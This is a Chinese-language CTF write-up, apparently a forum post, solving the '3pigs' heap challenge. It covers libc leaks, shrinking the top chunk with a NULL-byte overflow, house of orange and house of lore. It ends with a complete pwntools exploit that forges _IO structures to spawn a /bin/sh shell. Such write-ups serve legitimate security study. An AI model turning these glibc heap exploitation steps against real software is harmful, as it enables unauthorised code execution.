[原创]3pigsX
发表于:
2018-6-7 18:54
3246
3pigs ### 1. ALL 首先还是看下各个操作: * catch_pig 一共有三只猪可供选择,每只猪都有个自己的名字。然后你可以给他们留言,名字占0x10,留言占0xc8,一共申请了0xd8的空间。留言的时候会在最后加个`\x00`。 * release_pig 这一步主要是将申请的空间给释放掉,释放后会将内容全部清理掉,同时指针也将清空。 * change_name 修改名字,可以输入0x10的内容。 * list_pig 这里主要是将各个猪的名字和留言打印出来。 * catch_gold 这里可以抓金猪并且金猪不能被释放,而且金猪必须是在没有抓其他猪的情况下才能抓,大小为0x150。 * change_next_name 可以修改金猪的下一个猪的名字。 ### 2. leak 泄露很简单,`libc`的地址直接申请释放制造一个`unsorted bin`就能够泄露出来了。 ### 3. 缩小top 这里我提供的思路是利用溢出的`NULL BYTE`来实现缩小`top`,从而构造最终的`unlink`。 具体实现步骤如下: ``` catchpig(0,"0"*0xc8) # top被第一次改写 catchpig(1,"0"*0xc8) # top被第二次改写 catchpig(2) # 修改heap_1->next_chunk->prev_size为1,这样heap_1才能被释放 freepig(2) freepig(1) freepig(0) ``` 这样操作以后,就能实现缩小`top`了,每次可以缩小多少不固定,反正测试一下就能得到多少次能变成非常小。 ### 4. sysmalloc 当`top`变的非常小以至于无法满足我们要`malloc`的需求时,就会调用`sysmalloc`分配新的空间,并将`top`给`free`掉,所以这个时候我们就能伪造`top`的`prev_size`,从而调用`unlink`。 但问题是调用`sysmalloc`的时候会有个校验: ``` 2412 assert ((old_top == initial_top (av) && old_size == 0) || // top没有初始化,所以其size为0 2413 ((unsigned long) (old_size) >= MINSIZE && // top已经初始化,所以包含fencepost,size一定大于MINSIZE 2414 prev_inuse (old_top) && // top的前一个chunk一定是inuse 2415 ((unsigned long) old_end & (pagesize - 1)) == 0)); // top结束地址必须页对齐 ``` 由于这里存在一个验证,需要前一个`chunk`不能为空闲的,所以没法直接和前面合并从而调用`unlink`。而后面同样也不行,因为在`sysmalloc`后会生成一个`fencepost`,其第一个`chunk`同样也是使用中的。具体可以参照[sysmalloc解析](http://www.mutepig.club/index.php/archives/47/#3.sysmalloc)。 而第二个问题是`top`结束地址必须页对齐,所以我强行构造了一发,最终在前面和后面都`malloc`了一个特殊大小的块,实现了页对齐。 ### 5. houseoforange 那么最终就只能用`house of orange`来解决问题了,不过又很多限制所以我一一强行构造了出来。 首先是`size=0x60`才行,所以我设计了一个`gold pig`,用来构造一个对应大小的`top`,使之大小为0x80,之后通过`sysmalloc`会生成一个`fencepost`来减去0x20,最终得到了我们目标的0x60。 接着是`unsorted bin`攻击,所以我们需要修改`top->bk`,于是就可以使`gold pig`能修改下一个猪的名字。 其他的就都能从之前的猪的留言那设置了。 ### 6. HITB非预期解 由于这里是可以修改下一个块的`bk`,而且也可以泄露`heap`地址,所以也是可以使用`house_of_lore`的,于是我们可以伪造一个`chunk`,使得其大小为0x60即可 首先先泄露`libc`的地址,方法其实和正常的也是一样的,然后泄露`heap`的地址,就是通过将`fastbin`夹在两个pigs之间,然后将他们释放也就能打印出来了 当前的布局是这样的: ``` +========+ pig1 +========+ fastbin +========+ pig2 +========+ pig3 +========+ topchunk ``` 由于我们可以通过`fastbin`来修改`pig2`的`fd`和`bk`,所以可以在`pig2`里伪造两个chunk ``` +========+ pig2 0 | 0xd1 +========+ arena->top | fakechunk1 +========+ padding +========+ fakechunk1 0 | 0xd1 +========+ pig2|fakechunk2 +========+ fakechunk2 0 | 0x61 +========+ fakechunk1|arena->top ``` 由于我们这里将`fakechunk2->bk`设置为了`arena->top`,而`arena->top->bk = arena->unsorted bin`,所以在将`fakechunk2`从`unsorted bin`取到`smallbin`的过程中不会报错 ### 7. EXP ``` #!/usr/bin/env python # encoding: utf-8 from mypwn import * bin_file = "./3pigs" remote_detail = ("127.0.0.1",8888) libc_file = "./libc.so.6" bp = [] pie = False p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie) def catchpig(id,data): p.recvuntil("ope:") p.sendline("1") p.recvuntil("num:") p.sendline(str(id)) p.recvuntil("data:") p.send(data) p.recvuntil("Success") def freepig(id): p.recvuntil("ope:") p.sendline("2") p.recvuntil("num:") p.sendline(str(id)) p.recvuntil("Success") def listpig(): p.recvuntil("ope:") p.sendline("3") return p.recvuntil("Success") def catchgold(): p.recvuntil("ope:") p.sendline("4") p.recvuntil("secret:") p.sendline("UOTp%I<S") p.recvuntil("Success") def usegold(data): p.recvuntil("ope:") p.sendline("5") p.recvuntil("data:") p.send(data) p.recvuntil("Success") def leak(): global io_addr, libc_addr catchpig(0,"0") catchpig(1,"1") freepig(0) catchpig(2,"2") ret = listpig() addr = ret.split("\n")[3].split("Small Li")[1].split("|")[0].ljust(8,"\x00") addr = u64(addr) print hex(addr) usbin_addr = addr io_addr = usbin_addr + 0x9a8 libc_addr = (addr & 0xfffffffff000) - 0x3c4000 freepig(1) freepig(2) def cleantop(): tmp = (binsh_addr-100)/2 catchpig(0,"0"*0xb8) catchpig(1,"\x00"*0x60 + p64(0xfffffffffffffffe) + p64(0)*3 + p64(2) + p64(3) + p64(0) + p64(binsh_addr) + "\x00"*0x18) catchpig(2,"\x00"*0x50 + p64(0xffffffffffffffff) + p64(0)*2 + p64(io_str_jumps-8) + p64(0) + p64(system_addr)) freepig(1) freepig(2) freepig(0) def cleantop2(): catchpig(0,"0"*0xb8) catchpig(2,"2") freepig(0) freepig(2) catchpig(1,"4") catchgold() catchpig(2,"5") freepig(2) freepig(1) usegold(p64(0) + p64(io_list_all-0x10)[:-1]) p.recvuntil("ope:") p.sendline("1") p.recvuntil("num:") p.sendline("1") if __name__=='__main__': leak() system_addr = libc_addr + libc.symbols['system'] io_str_jumps = libc_addr + + libc.symbols['_IO_file_jumps'] + 0xc0 binsh_addr = libc_addr + libc.search("/bin/sh").next() io_list_all = libc_addr + 0x3c5520 log.success("io_addr: %s"%(hex(io_addr))) log.success("system_addr: %s"%(hex(system_addr))) log.success("binsh_addr: %s"%(hex(binsh_addr))) log.success("strjump_addr: %s"%(hex(io_str_jumps))) #raw_input("system") for i in xrange(512): cleantop() print i #pause() #cleantop() cleantop2() p.interactive() ```
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2018-7-8 13:02
被kanxue编辑
,原因:
上传的附件: